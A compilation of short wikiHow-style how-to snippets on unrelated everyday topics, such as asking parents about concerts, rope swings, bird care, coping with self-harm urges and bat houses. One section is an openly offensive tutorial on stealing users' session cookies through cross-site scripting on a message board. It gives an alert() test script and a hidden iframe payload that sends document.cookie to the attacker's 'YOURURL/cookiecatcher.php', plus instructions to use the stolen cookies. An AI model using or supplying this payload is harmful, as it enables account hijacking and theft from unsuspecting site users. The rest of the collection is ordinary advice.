sleep cycles.  If you don’t have a lot of time, try one of the following suggestions:  Do crunches during your commute.  Squeeze your abs for 30 second...


Find a time to talk. Express your gratitude. Introduce the concert into your conversation. Ask politely. Give your parents more information.

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Before the tickets go on sale, you need to speak to your parents. Asking about the concert at the “right” time may increase your chances of hearing “yes.”  Talk to them when they are free. “Hi, Mom. Do you have a few minutes to talk?” “Hey, Dad. Are you free right now?” Avoid asking them about the concert if them seem stressed, distracted, or busy. Asking outright to attend a concert might result in an immediate “no” from your parents. You can soften your request with a few kind, appreciative words.  “Thank you for working so hard to provide for me.” ”I really appreciate everything you do for me.” I am grateful for all of the opportunities you’ve given me.” Once you’ve told them how much you appreciate them, it is time to mention the concert. Provide your parents with the basic information:  Who is performing? Where is the concert When is the concert What time is the concert How much will it cost ”My favorite artist, ____, is performing in ____ on ____. The concert starts at ____ and ends at ____. Tickets cost  ____.” The goal of this talk is to get permission from your parents. Instead of telling them you are going, ask them if you may go. ”May I go to the concert, please?” Before your parents say “yes” or “no,” they may ask you questions about the concert. As you answer their questions, remain respectful and calm. Don’t get defensive.  Let them know if your friends are planning to attend. Let them know if someone is chaperoning. Tell them more about the artist/group and the music. Explain how you plan to pay for the concert. Let them know if there is a designated “parents room” at the venue.


Find a time where you can talk to your dad in private. Remember that your dad knows what menstrual cycles are. Prepare what you want to say to him. Plan to ask your dad for help in getting the supplies you need, if necessary. Remain calm. Tell your dad the news when you are able to have the conversation with him. Suggest that you come up with a code word for your period. Thank your dad for supporting you and taking care of you.

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You likely know his schedule pretty well, so you should know when he will be home from work and will have time to talk to you.  Ask him if you can talk to him about something important at that time: “Dad, can we talk about something important after dinner?” If he tells you that it is not a good time, ask him to tell you when he will have time to talk to you for a couple of minutes. Even if your mom is not present, your dad has at least a basic understanding of menstrual cycles.  He might have learned about it in school. He will probably have some knowledge about it due to living with his own mom, sisters, and aunts, as well as any other women in your family, like your mom or sisters. If you are your dad's first daughter, he might not be expecting you to start your period. It would be best to not ambush him with this news, as that will make the conversation awkward. Be clear in what you are talking about, but ease into the conversation.  “Dad, I need you to know about a change in my life. I've started my period.” “Dad, I want to be honest with you about what's going on with me. You need to know that my period started.” “I don't want this to be too awkward, but I started my period.” “I know this is a little bit uncomfortable, but my monthly cycle started.” If your mom is not available, for some reason, then your dad will be responsible for helping you get the supplies you need.  “Can you take me to the store to get feminine products?” “Would you mind giving me money so that I can go buy pads?” “Do you mind picking up pads/tampons for me the next time you're at the store?” “I've been experiencing cramps, so I think I need a pain reliever.” “I've got a headache, and I need pain reliever to help with that.” It does feel scary or nerve-wracking, but if you stay calm, then your dad will stay calm, too.   Take deep breaths and focus yourself. Do not give your dad any reason to believe that something is wrong. Getting your period is natural and expected, so you do not want to scare your dad into thinking that you are...


Find a tough icon. Wear a leather jacket Wear ripped denim. Try flannel. Wear some old military or hunting gear. Wear some tough footwear. Get some tough accessories. Make little changes, not huge ones.

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There are lots of different types of tough. There's corporate tough, like Don Draper. There's rap tough, like Gucci Mane. There's metal tough, like Lemmy from Motorhead. Depending on what kind of style you want to have and how you want to toughen yourself up, it's a good idea to pick a tough icon. Here are some classics:  Tough men: Clint Eastwood, Sonny Barger, Kimbo Slice, Bear Grylls, Sebastian Junger Tough women: Ronda Rousey, Lil' Kim, Serena Williams, Joan Jett, Courtney Love, Margaret Thatcher . From bikers to rockers, there's typically nothing that can make you tough easier than a leather jacket. Go for a classic fur-lined bomber jacket in black or brown, or a more modern tailored style if you're interested in something more stylish. Leather jackets always look cool.  If you're vegan, or just aren't a big fan of the idea of wearing leather, most cheap leather jackets aren't actually leather anyway, but a faux-leather cotton-polyurethane combination. You can still look tough without buying real leather. Typically, used leather jackets tend to look a little more tough. If you've got that nice worn leather look, it'll look like you've been around the block a few times. New denim? Cool. Denim that's worn out and looks like it was run through the gravel? Super cool. Denim that looks like a shark got a hold of it, and ripped it all up? Tough. Denim jackets, shirts, and jeans are all cool, no matter what the style, but if you've got some that looks a little ragged, you're going to look tough. Buy denim that fits according to your personal tough style. Go tight if you want a tough rocker look, or baggy if you want more of a modern tough style. Even if you live in the city, flannel shirts will make you look like you're ready to chop down pine trees and swill whiskey like a lumberjack. Rock a loose-fitting, old-school flannel shirt over a sleeveless undershirt, or solo, and you'll get people's attention as a tough outdoorsy type.  Flannel look really good as a baggy shirt, but can also look punk printed on...


Find a tray big enough to fit your paper. Brew a pot of strong coffee. Let the paper soak for about 5 to 10 minutes.

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You can also use a baking pan, a rimmed baking sheet, a plastic tub, or even a plastic lid. The tray needs to be deep enough so that you can fill it with coffee and submerge your paper. The stronger your coffee is, the darker your paper will turn out. How much coffee you make depends on how big your paper and tray are. You need enough coffee to fill your tray. You can also use cold, leftover coffee. The longer you soak the paper, the darker it will become. For extra texture, sprinkle some coffee grounds on top of the paper. This will give you some dark, age spots or speckles.


Find a tree from which miswak twigs are traditionally taken. Cut a small, sturdy twig from the tree. Wash thoroughly before using. Avoid poisonous or harmful trees. When in doubt, buy or order a miswak twig.

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One of the great things about using miswak to clean your teeth is that the stick you use can potentially be free! Though most majority-Muslim countries will have cheap, easily-available miswak sticks for sale, it's also possible to make your own miswak stick just as traditional practitioners would have. To start, find a suitable tree. Traditionally, miswak sticks are taken from Salvadora Persica trees (also called "toothbrush" or "arak" trees). Below are just a few suitable alternatives that are native to the Mediterranean, Middle East, and Levant where miswak is most frequently practiced:  Olive trees Palm trees Walnut trees Next, simply take a small twig or stick from the tree's branches or any exposed roots using a knife or your bare hands. Your stick doesn't need to be especially big — traditionally, miswak sticks are about as long as your hand is wide. Be careful not to take more than you need or to hurt the tree more than necessary — this is wasteful and disrespectful. When you take any sort of plant product out of the wild, you run the risk of exposing yourself to harmful chemicals or germs, no matter how clean the plant looks. To reduce the chance of this risk happening to you, be sure to thoroughly wash any miswak sticks you cut directly from the tree before using them. Use disinfectant soap or an equivalent antibacterial substance to clean the stick and rinse with water to remove the soap. Repeat several times for cleanliness. Be sure to store your miswak sticks in a clean, dry place before using them. Since you've just washed them, they will be wet and can potentially pick up dirt or dust if you're not careful. Never take your miswak stick from a tree you know to be poisonous or otherwise harmful. No matter how much you clean a miswak stick from a poisonous tree, using the stick will expose you to chemicals that can make you sick. You will also want to avoid any trees that you know to have been treated with a pesticide or any other potentially harmful chemicals. Below are just a few types of trees...


Find a tree. Measure the rope. Tie a double-bowline knot. Secure the knot to the tree branch. Complete the rope swing.

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Scout your property for a good sized tree and make sure it is sturdy. Look for thick tree branches that extend at least 15 feet from the ground. Make sure the tree is in good health and can take the strain of a rope swing. You don’t have to use a ladder to tie the knots. Once you’ve found a good branch, you need to measure the height from where the swing will hang. You need to leave three feet of slack for knots. Once you’ve measured how long each rope should be, cut two identical strands of rope. This is a common knot for creating a rope swing. Create two small coils close to each other and then layer them on top of each other. Thread the closest edge of the rope through the two coils. Then swing that edge around the rope above the two coils and thread it back through the coils.  Open up the hole underneath the coils and secure the knot that the coils have created.  You’ll need to make this knot for each strand of rope. Toss the knotted edge over the branch you’ve selected. Pass the other end of the string through the hole and tighten it until the knot is in place on the branch. Repeat this process to the other rope. Adjust your rope into the right position before tightening. Once the two ropes are in the proper place, tie an additional double-bowline knot onto the dangling rope. Once you’ve secured the two holes, attach the two carabiners to the ropes end. You should now have a balanced and sturdy rope swing.


Find a trustworthy program. Play around with pitch and speed. Record higher quality sounds. Take your singing to the next level.

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There are a wide variety of free and paid recording programs available online, many made by trusted developers. Be sure to download from a website that you know, and read as many reviews as possible. Almost every audio recording program will let you record longer than the 1 minute limit of Sound Recorder. Many third-party programs will allow you to adjust the way your audio is recorded. You can slow your recording down to draw out your words, or increase the pitch to give yourself a chipmunk sound. High end recording programs can do a lot to improve the quality of your recording. These are useful programs if you have a high quality microphone and do a lot of voice recording and editing. Recording yourself is the first step to getting your name and your music out to the world. You can use free audio recording software to get started in your own home, while giving your music a professional touch!


Find a tweet with more than one image. Inspect the HTML source code to find the image URL. In the inspector pane, click the inspector button. Click the Twitter image you want to save. Find the image directory. In Chrome, right-click the URL, and then click Open Link in New Tab. In Safari, click the image to open it in the inspector, then right-click the image, and then click Download Image.

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Click the image you want to save to open it. Right-click the image, and then click Inspect Element. This opens the browser's HTML code inspector tool. In Chrome, this looks like a magnifying glass in the top left corner of the inspector pane. In Safari, this looks like a target in the header, toward the right. This jumps the inspector to the approximate location of the image in the HTML code. The gallery image is saved in a series of nested
 tags. The image is located in
,
, . Click the right arrows to expand a div until you see the img src tag. Go to the new tab and save the image. The image is downloaded to your default download folder.


Find a type of architecture that you enjoy such as Mayan, Chinese or modern. Make a complicated redstone machine. Make something that you've seen in real life. Aim to have fun.

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Look up a picture of a building in that style and build it in Minecraft reality. If you don't want to follow written tutorials, check out a video. Builds take on an extra "something" when you build something from visual memory. The above suggestions are just a prompt; there are plenty more things to in Minecraft than these, so go explore!


Find a variety of distractions. Do something soothing. Express your pain in a non-physical manner. Release physical tension.

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Have a range of distractions in the back of your mind at all times. In the moment when you feel the urge to self-harm, you should have an alternative behavior ready. Sometimes, the best way to avoid engaging in self-harm is to find a distraction from your feelings.  Think about things you enjoy doing. You can go for a walk or run, play with a pet, call a friend to talk about something completely different, or watch television. Make sure to change the channel if you see something distressing. It may help to have a list of distractions written down somewhere. If you feel the urge to cut, refer to your list. Cutting often comes in response to stress and anxiety. If you're feeling anxious, find something soothing to calm you down.  A warm bath or a shower can be soothing to some people. Just make sure there are no razors in the shower. Try a deep breathing exercise. You can find many different guided routines online. You can also try doing something like yoga. Ask your parents about enrolling in a yoga course. When you're feeling stressed, you'll know a few moves to calm you down. Try listening to soothing music. This can potentially calm your mood. Many people cut because they are feeling pain. You do not need to express your pain physically. There are healthier ways to address your emotions.  Drawing or doodling can help you figure out your emotions. Many people find red pen or paint very expressive. Keep a journal and write out your anger and frustration. You can also try writing fiction or poetry about how you're feeling. Cutting can sometimes soothe physical tension associated with stress; however, there are much healthier means to get rid of tension than cutting. Get some exercise instead of cutting when you feel tense.  Go for a walk or a run. Take a bike ride. Dance in your bedroom. Try any other form of exercise you enjoy, like playing a sport.


Find a venue that is large enough for an audience and a runway. Check the accommodations of the venue. Rent chairs if the venue doesn't have built-in seating. Design the runway area.

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Local theaters, schools, and community centers are all viable options for a fashion show. If you find a venue that doesn't have a traditional runway, you can always use the existing stage.  The venue will, to a large extent, determine the time of the show and how large of a crowd you can expect, so book it as early in the process as possible. If you are organizing the fashion show as a fundraising event, ask the venue if they will donate the space to you for free or if they could offer you a discount on the booking price. Many universities offer auditorium space for free to students. Is there a backstage area where the models will be able to get changed? Is there handicap accessibility? What about free parking? Have your emcee and wardrobe specialist visit venues with you to get their opinion on the space rather than making the decision on your own. If you are booking a school or community center, there are probably rooms that can be used for backstage space and dressing rooms for the models. If you're in a school auditorium or a theater, chances are there are seats already there. For a local community center, you may need to rent chairs for the guests. Based on the crowd restrictions, make a reservation for chair rentals at least 8 weeks ahead of time. You'll need an isle for guests to walk down, room for handicap accessible spots, and space for a runway if there isn't a stage already available. When you book the venue, decide how you will either use the existing stage or make a plan to craft a runway yourself. This will help you plan the timing of the show. Most runways are 100 feet (30 m) and showcase the model walking to an end point and back. If you are constructing your own runway, buy or rent several wooden, carpeted stage platforms. Line them in the center of the room on the day of the event and make sure they are pushed together tightly—you don't want any gaps. Hang a black curtain where the runway starts so the models can come out from behind it.


Find a vet who is qualified to work with birds. Provide water in a large enough container for self-cleansing. Clean the cage on a daily basis. Only clip a bird's wings if it's necessary. Know the signs of a bird that is either too hot or too cold.

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Get your bird checked before you bring it home, and then regularly afterwards. The vet should inspect your bird at least once a year. Not all vets are qualified to work with birds—or have much experience doing so—so be sure to check the vet's credentials. Take your bird to the vet immediately if it gets sick. Birds can get even sicker very quickly; the sooner that the vet can see the bird, the better. Birds are fully capable of handling their own grooming. Most likely, the bird will clean itself in its water bowl, provided the bowl is large enough for it to use as a bath. Also, birds bathe to keep cool in warmer weather, so be sure to provide water for washing in when the temperature is on the warmer side.  In hot weather, put the bird outside, either in its cage or on a perch (only have it out of its cage if its wings are clipped, so that it can't fly away). Squirt the bird with water from a spray bottle. Birds love the cooling sensation. If it's cold outside, you can buy a perch that mounts to your shower wall by suction cups and give the bird a shower indoors. A clean cage reduces the changes for bacterial, fungal or viral infections from occurring in your bird. Regular removal of bird droppings is very important for maintaining good bird health. A bird living in a clean environment tends to be a more active and happy bird than one living in filth. To keep the cage clean:  Change the bedding regularly. Remove droppings from perches/toys. Remove uneaten food that has been sitting around on the base of the cage. If your bird is molting (this is common with parrots, for example), there will be a need to vacuum up the molted feathers daily; this tends to occur when there is a warm spell. Only clean with basic, non-toxic cleaning supplies. Birds are easily poisoned, so find out if a product is safe for birds before using it. In some birds, such as parrots, this is essential to prevent serious or fatal flight accidents in the indoor or caged environment. Talk to your veterinarian about this requirement for your...


Find a video that you want to keep. Convert to a proper format. Choose a quality.

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Copy the address for the video. Search for an internet video downloader. There are several that work directly from the browser and only require a Java applet to run; they don’t need to be installed. These sites will convert the video to the format of your choice. In order to play the video on iOS, you will need to download the video in the .mp4 format. The other formats available will not work. For Android OS, most of the available video types will work, though some may require a video player app to be installed. Since you will be viewing on a small screen, you most likely do not need to download the highest quality files. Quality is denoted by a number with a “p” next to it (240p, 360p, 480p, 720p, etc.). The higher the number, the better the quality. Strike a balance between quality and size, especially if space is an issue on the phone.


Find a vulnerable site where you can post content. Go to create a post. Create and upload your cookie catcher. Post with your cookie catcher. Use the collected cookies.

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A message board is a good example. Remember, if the site is not vulnerable to a cross-site scripting attack, then this will not work. You will need to type some special code into the "post" which will capture the data of all who click on it. You'll want to test to see if the system filters out code. Post <script>window.alert("test")</script>If an alert box appears when you click on your post, then the site is vulnerable to attack. The goal of this attack is to capture a user's cookies, which allows you access to their account for websites with vulnerable logins. You'll need a cookie catcher, which will capture your target's cookies and reroute them. Upload the catcher to a website you have access to and that supports PHP and is vulnerable to remote code execution via upload. An example cookie catcher code can be found in the sample section. Input a proper code into the post which will capture the cookies and sent them to your site. You will want to put in some text after the code to reduce suspicion and keep your post from being deleted. An example code would look like <iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookiecatcher.php?c=' document.cookie)></iframe> After this, you can use the cookie information, which should be saved to your website, for whatever purpose you need.


Find a warm growing spot with partial sunlight. Avoid cold, wind, and frost. Use rich soil with good drainage. Use a soil with fairly low pH.

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As subtropical plants, avocados love sun. Native to Central America, Mexico, and the West Indies, avocados evolved to thrive in warm, humid environments. Though avocados have been bred to grow in locales as far away as California, they always require good sunlight to grow well. However, paradoxically, young avocado plants can be damaged by excessive direct sunlight (especially before they've had time to develop extensive leaves). Because of this, if you are growing an avocado plant from a single pit, you will want to pick a growing spot that has access to good sun during some parts of the day but is not constantly in direct sunlight. Sunny windowsills are great growing sites for avocados. In addition to ensuring that the avocados only receive sunlight during part of the day, indoor windowsills allow you to carefully control the temperature and humidity that the plant is exposed to. For the most part, avocado plants do not do well in inclement weather. Snow, cold winds, and rapid temperature drops, which can be harmful even to hardier plants, can outright kill avocado plants. If you live in a tropic or subtropic climate with fairly mild winters, you may be able to get away with keeping your avocado plant outside year-round. However, if you live in an area where the winter temperature is likely to drop below freezing, you will want to prepare to move your maturing plant indoors for the winter to protect it from the elements. Different avocado varieties have different tolerances for cold temperatures. In general, the common avocado varieties listed below will receive significant freezing damage at the temperatures indicated: West Indian — 28-29o F (-2.2-1.7o C) Guatemalan — 27-29o F (-2.8-1.7o C) Hass — 25-29o F (-3.9-1.7o C) Mexican — 21-27o F (-6.1-2.8o C) Like a variety of other common garden plants, avocados do best in a loose, rich soil. These types of soils provide great nutrient content to help the plant grow strong while also reducing the danger of over-watering and allowing for great aeration. For the...


Find a warm, flat surface to avoid using the tub. Lay your your baby on his or her back on a towel. Wipe your baby's face with a washcloth. Wash your baby's body. Keep your baby warm in a towel or blanket during washing.

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To give your baby a sponge bath, use the sink for the bathwater, but instead of putting your infant in the sink, hold them on the counter and give them a sponge bath.  This allows you to give an infant a bath without the fear of using a large tub. If you are not comfortable holding your infant up high in the shower, this can be a great option. When you're ready to begin the sponge bath, undress your baby and wrap him or her in a towel. Make sure to put your baby on a soft blanket, towel or pad that you've prepared. Wet your washcloth, wring out the excess water and begin washing your baby.  Wash your baby's face first, making sure to be gentle. Use a damp cotton ball or cloth to wipe each eyelid, from the inside to the outside corner. Wash your baby's body with a washcloth or sponge to make sure they are cleaned thoroughly.  When you clean your baby's body, plain water is OK. If your baby is especially dirty, use a mild moisturizing soap. Make sure to take note of creases under the arms, behind the ears, around the neck and in the diaper area. Wash between your baby's fingers and toes. Since your baby is not sitting in warm water during a sponge bath, it is important to wrap a towel around the baby to keep them from getting chilled. You should keep one hand on the baby and just expose the baby's body parts as they are being washed.


Find a way to relax. Accept any wrongdoing and let it go. Recognize that you can’t be perfect. Stay away from circumstances that make you feel bad. Forgive yourself

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Guilt can take a toll on your physical body. Since guilt usually indicates that you need punishment, you may be caught in a vicious cycle of internal punishment. When you don’t know why you feel guilty, self-punishment can feel especially exhausting. Take time to relax and push the feelings of guilt out of your mind. This will also reduce your stress level.  Help yourself get out of the punishment mode by thinking about something you did correctly that day. For example, congratulate yourself for making it to the gym, making a healthy food choice, or spending time with your family when you didn’t have to. There are many ways to relax, such as practicing breathing exercises, meditating, visualization techniques, and so on. To stop feeling guilty for no reason, you need to let go of your feelings of guilt. Identify any wrongdoing you might have committed, seek forgiveness from yourself and others, and then stop giving yourself permission to feel this way. Accept that there is no way to change what has already happened. Remember that letting go can be choosing to stop blaming others or yourself as well as forgiving yourself and others. Sometimes you may have a constant sense of guilt because you expect perfection from yourself. Consider that you may be demanding something from yourself that you can never have. No one on Earth is perfect. When you expect yourself to be perfect, you set yourself up for failure. A sense of failure can make you maintain feelings of guilt. Instead, tell yourself that you are only human. When you make mistakes, correct them and then stop thinking about it. Find a solution for your guilt by avoiding situations that give you guilty feelings. You may feel guilt for no reason, but some situations make you feel worse than others. Identify these situations and avoid them.  Start by keeping a planner and writing down each of your daily activities in it. After each activity is over, write down how you felt, such as “good,” “happy,” “sad,” or “guilty.” Later, look at your list of emotions and...


Find a website to give you details about the car. Enter your VIN. Review the VIN detail report.

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There are a variety of websites that offer VIN lookup services on the website. These websites will ask you to enter a car’s VIN, and then will supply you with information about the car’s options.  Run an internet search for “free VIN lookup.” There are websites that provide free VIN lookup services. For example, try: https://www.northamericanmotoring.com/forums/vindecoder.php  While some free VIN report services provide every detail of a car’s options, others do not. Some websites offer an advanced search for a fee. After you’ve found a website where you can look up your VIN, enter it in full. This is the most important step, and you need to follow the website’s directions. If you don’t, your search might work or it might return incorrect data.  Follow the directions on the website and then press "search." Some websites may ask you to omit certain parts of the VIN number. After submitting the VIN number, you’ll get a report back. The report will detail the specifications of the car as it was produced by the manufacturer.  The VIN report should include options, such as the transmission, the trim, and emissions specifications. The VIN report should include anything that was changed in the production process. VIN detail reports may not include options added after manufacturer, added at the dealership, or added by the consumer after the initial sale. Depending on the website, you may need to pay a fee for your VIN report.


Find a website which allows you to send text messages free of charge.

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This method does not require any setup or downloading on your part, although it may require registration. Examples: SeaSms.com.


Find a wide-toothed comb. Treat with hair products. Divide the hair into at least four sections. Comb out your hair. Wet your hair if combing causes pain. Clean out hair products.

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The bigger the gap, the better it teases out the curls. Choose a comb with sturdy teeth, that won't break against your hair. If you struggle to get a comb through, use one of these treatments before you begin combing:  If your hair feels extra greasy, apply dry shampoo, followed by dry conditioner. If your hair isn't greasy, but still hard to brush, use detangling spray, coconut oil, or olive oil. Divide your hair into front right, back right, front left, and back left sections, and clip them apart. Divide each of these sections in half again if your hair is extra thick. Comb each section with downward motions. Start near the end of your hair, teasing out knots before moving to a slightly higher position. Be careful not to snag knots too hard or you'll rip the hair from the root. If your comb gets stuck, work the hair off it with your fingers and try again. Wet hair is sometimes easier and less painful to comb, but is also more likely to break or split. If your scalp is sensitive, wet your hair and try again. For better results, try the following:  Wet hair and apply conditioner. Leave in for one hour. Rinse out conditioner. Pat dry with a microfiber towel or cotton T-shirt, then comb. Do not use a towel, as the friction from towels adds frizz to your hair. If you treated your hair with oil, get rid of it with an application of dry shampoo.


Find a wooden stick and some dry sand.

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This method works well if you're outside and happen to step on some fresh gum that is still pretty soft and pliable. All you need is some dry sand (or dirt) and a small wooden stick.


Find a wool, cotton or acrylic long-sleeved sweater. Cut the arms off at the shoulder seam. Cut the bottom hem off on the body of the sweater. Smooth the sweater sleeves down onto a flat surface. Use a fabric measuring tape to take a measurement of the circumference just below the knee, or the highest point on your leg where you plan to wear the leg warmer. Cut the bottom hem into 2 pieces of this length. Load your sewing machine with thread that matches the sweater material. Pin the small piece of the bottom hem into a loop. Sew vertically across the 2 bands where they meet. Attach the outside of the hem band to the inside of the sleeve. Sew around the loop carefully. Fold the band down.

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Choose a sweater with a cuff at the bottom of the sleeves and body. Buy it from the thrift store or use an old sweater. Use fabric scissors to limit the unraveling of the threads. You can discard the remainder of the sweater or use it for other projects. Cut a straight line from the top arm. It should start next to the armpit and extend horizontally across the sleeve. Subtract 1 to 2 inches (2.5 to 5 cm) from the measurement to ensure it will stay taught. Sweater fabric stretches when pulled. You are going to make fold over bands for the top of your leg warmers.  1 side should already be hemmed and the other side should be cut. Repeat with the second piece.  You will need to pin it carefully, ensuring that the circle does not get pinned together at any point. Use close stitches and a backstitch to prevent future fraying. Attach buttons, ribbons or other embellishments to the outside of the fold-over. Wear over bear legs, leggings or boots. Instead of making a foldover band on your leg warmers, you can fold the sweater over a piece of elastic that is measured for your calf size. Turn the leg warmer inside out, stretch the elastic band around and pin the sweater down. Stitch it into place, keeping the elastic free of the stitch.


Find an academy with a qualified Taekwondo martial artist. Learn how to bow. Learn the language. Work on your footwork. Learn to kick correctly. Learn to punch properly. Practice your target techniques. Study and practice self-defense techniques. Master your forms. Spar.

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For a proper martial arts education, find a qualified coach or instructor.  Do your research on the instructor themselves. Get references and check out his or her social media site. A lot of times, you can get a good idea of how “intense” a Taekwondo instructor will be based on their online presence. Check out yelp.com and other online sites where parents and students can post comments about a Taekwondo school and its instructors. Taekwondo is supposed to be a peaceful, defensive martial arts. Make sure that the instructor is World Taekwondo Federation (WTF) certified in Taekwondo. The very first thing to learn when you start Taekwondo is the bow. The bow is a respectful greeting to your teacher and opponent. It reaffirms the notion that Taekwondo is a disciplined and respectful practice.  Stand still on the ground with your feet close and your heels touching.  Clench your fists in front of your body and then open your arms. You need to do this when you hear the command "Charyeot" (차렷). Lean forward when you hear the command "Gyeongnye"(경례). Instructors and others in the Taekwondo community use specific names for stances and moves. Each technique  has its own name. Some places use the original Korean name and others adopt an English equivalent. One of the most important skills a martial artist needs to master is their footwork. Stand in front of a mirror and practice shifting your feet forwards and backwards and from side to side. Make sure that you are taking quick compressed steps as opposed to long and slow steps. When in an actual match, your opponent will be looking for weaknesses and long, slow movements is a dead giveaway. When you feel comfortable with your footwork, throw in some fakes. Shift your weight in one direction and then quickly move in the opposite direction. When your opponent is watching your movement, this slight shift can make a big difference. After you’ve mastered fakes, try some kicks. All movements should be fluid and quick. Taekwondo is set apart from other forms of the martial...


Find an acting agent. Find auditions on your own. Prepare for an audition. Have good manners. Consider moving to a location with more acting opportunities.

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Acting agents utilize their contacts and inside information to help find you jobs. Agents want to find you work, it is how they make money. They will work to set up meetings with casting directors and get you auditions. Agents use your personal information and skills to send you out for jobs that suit you best.  They also receive information you do not have access to such as why you may not have gotten a part you went out for. It may be hard to hear negative feedback, but it may also help you grow as an actor.  Try to find a franchised SAG agent. These agents often have more connections, and they can offer you more legitimate representation.  To find an agent, research agents online, and mark down the people you are interested in working with. You can read reviews about them, or look them up on the Better Business Bureau to see if they have had claims filed against them.  Once you find an agent you want to work with, set up a meeting, or send over your portfolio. Hopefully the agent you desire is interested in working with you.  Never pay an agent before you get a job. If you do not have an agent, or you just want to see what is out there, city websites can be an excellent resource for checking out local auditions and casting calls. Many films will post current projects and auditions that you can look into for free. Watch out for audition websites that require you to pay money to set up an account to find auditions. This might be a scam. One of the most important things you need to do for an audition is to memorize the script. This signals to the casting director that you take the job seriously, and that you are a professional. Besides just knowing the lines, make sure you understand the character. You should practice auditioning at home in front of the mirror, or other people, so you can get a good feel for the part, and gain confidence. You should practice the part enough so that it feels natural and believable. If you come across as disrespectful, it may not matter how great of a performance you gave for...


Find an addiction counselor. Look up reasons to quit. Find out what's really in cigarette smoke. Consider how quitting will benefit those around you.

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He or she is a trained professional who can be very useful in helping you find a reason for quitting. They talk to people about addiction every day and have extensive understanding of the most difficult aspects of quitting. Look up one  in your area. If you enjoy bonding with others, group counseling can also be effective with addictions. Perhaps everyone has been lecturing you about smoking, but you don't really understand the hazards yourself. Browse online about the benefits of quitting cigarettes on helpful sites like Cancer.org or the CDC. Knowing just what you stand to gain from quitting might inspire you to move forward with actually quitting. Connect with real life stories. Read about people who live with the devastating effects of smoking. According to the American Lung Association, there are more than 600 ingredients inside a cigarette. These ingredients combine to form over 7,000 chemical when the cigarette is lit. 69 of those chemicals can cause cancer.  Some of the ingredients in cigarettes and smoke are: tar, lead, acetone, arsenic, butane, carbon monoxide, ammonia, and formaldehyde. Maybe you've always heard that you should stop smoking because it's bad for you. Now, you know exactly why cigarettes are unhealthy. When you smoke, you not only jeopardize your own health, but you also endanger the lives of others by exposing them to second-hand smoke.  Second-hand smoke can cause cancer in your loved ones. Those around you are also at risk of becoming ill with colds and flus more often as well as having heart disease, respiratory problems, and even having trouble getting pregnant. Studies have shown that parents who smoke often raise children who end up smoking, too. So, quitting today could make a difference in your kid's life tomorrow.


Find an aeronautical sectional chart. Find the closest airport on the chart. Understanding the lingo. Identifying the airports. Listen to weather forecasts and airport information as you prepare to land. Obtain a complete list of frequencies.

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You most likely want to be looking for a chart of your local area from the closest airport. Older versions of these charts will usually work just fine.  Online sectional charts for your local area are available on www.skyvector.com Airports are denoted by blue or magenta circles, with lines inside representing runways.  Next to the circle is a block of text with the airport name and information about that airport.  The control tower frequency is denoted by CT - 000.0, where the following numbers indicate the frequency used by ATC.  For example, the frequency for Wittman Regional airport in Oshkosh, WI is CT - 118.5. If the airport is uncontrolled (no tower) or the tower operates part time, a C in a circle after a frequency number will be used to denote a Common Traffic Advisory Frequency (CTAF). A star will be after the tower frequency to denote that airport as having a part time tower.  At this type of airport, pilots communicate directly with one another and tell each other their position and intentions. All controlled airports will be denoted by blue circles, while uncontrolled airports are magenta.  Airports with runways over 8,000 feet (2,438.4 m) are not enclosed in circles and simply have a diagram depicting the runway layout, which is outlined in blue (controlled) or magenta (uncontrolled). Some airports have AWOS (Automated Weather Observing System), ASOS (Automated Surface Observing System), or ATIS (Automated Terminal Information Service) frequencies listed on the chart.  These are automated or repeating broadcasts that provide pilots with weather and airport information as they prepare to land or depart. If you have access to an airport/facility directory, you can find more frequencies than those available on the chart.  At larger airports, pilots receive their flight plan clearances from a "clearance delivery" frequency, communicate on taxiways with a "ground" frequency, and get takeoff and landing clearance from the "tower" frequency.  Once pilots are airborne, they will talk to an...


Find an alcohol-based hairspray. Let the hairspray set.

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Hairspray is an unlikely but effective stain remover that you can use to remove your ink stain. Find a hairspray that is alcohol-based, as alcohol is the key element in hairspray that is effective at breaking up the stain. If you haven’t already, lay out your garment and place a clean cloth underneath the stained portion to prepare it for cleaning. After you spray the stain with hairspray, let the hairspray set for a minute. This allows the alcohol of the hairspray to break apart the ink stain. Don’t let the hairspray sit for too long, or it will dry into the fabric.


Find an angle for your essay. Write about a significant moment. Discuss a specific event that triggered an emotional response. Think of a person in your life that you have difficulty with in some way. Respond to a current event. Create an outline.

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Your life may not be littered with exciting stories, or intense drama, but that's okay. Your personal essay can still be engaging for your reader if you focus on finding an angle for your essay. You should try to find a unique or interesting take on an experience, or moment in your life. Looking at an experience from a particular angle can turn it into deep, meaningful subject matter for your essay. For example, maybe you want to write about an experience where you learned about failure. You may think the time you failed a pop quiz in class. Though the quiz may have seemed insignificant to you at the time, you realized later that failing the pop quiz forced you to reassess your goals and motivated you to get a passing grade. Seen from a certain angle, your small failure became a gateway to perseverance and determination. A good personal essay will explore a specific experience that created a sense of conflict in your life. The personal essay can be a way to explore how and why you were challenged or hurt by the experience. Think of it as a space where you can discuss a significant moment and reflect on its impact on your life.  This could be a seemingly small moment that ended up having a profound influence on you later, such the first time you experienced disgust as a child or the look on your mother’s face when you told her you were gay. Try to really dig into why you were hurt or compelled to overcome a challenge in this moment in your essay. Remember that moments charged with strong emotion will often be more engaging to readers. Having a strong reaction to a specific moment will allow you to write passionately about it and keep your reader interested in your essay. You may also explore a specific event in your life that left a lasting impression on you. Often, personal essays act as reflections on an event that occurred in your life and shifted it in some way. Think of a specific event that is unique and personal to you. The stranger the event, the more likely the essay will be engaging to read.  For...


Find an appropriate location. Understand how a bat house should look. Identify and obtain needed materials.

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A bat house does not need to be large, but when considering a potential location there are a few points you should keep in mind.  The house should be placed at a point roughly 15 feet (4.6 m) off of the ground and inaccessible to climbing predators. The house should be placed in a location that receives sunlight for most of the day. In nearly all ways that it can, a bat house will differ from the bird houses with which most people are so familiar. Here is a list of the basic characteristics:  Unlike birdhouses, the opening for entrance and exit will not be at the front. Instead, there should be a long open strip along the bottom. The entrance and the back wall of the bat house should have horizontal grooves carved into them that the bats can climb with their claws. It should not be cube shaped (as is common for many bird houses) but instead be a very wide, fairly tall, flat box. Keep in mind that you are not making this house for a single bat or even a pair of bats. Many bats rarely settle down for the day in groups of less than a dozen. According to those who have customized bat houses based upon studies of behavior, the smallest bat house should have exterior dimensions of roughly 13.5 inches (34 cm) wide, 3.75 inches (9.5 cm) deep, and 20 inches (51 cm) tall (with an additional 4–5 inches (10–13 cm) of the back wall extending below the floor to the entrance, providing something for the bats to latch on to). There should be several narrow open strips along the lower portions of the sides to vent air from the box. Because bats often rest in densely packed groups, the heat they generate and 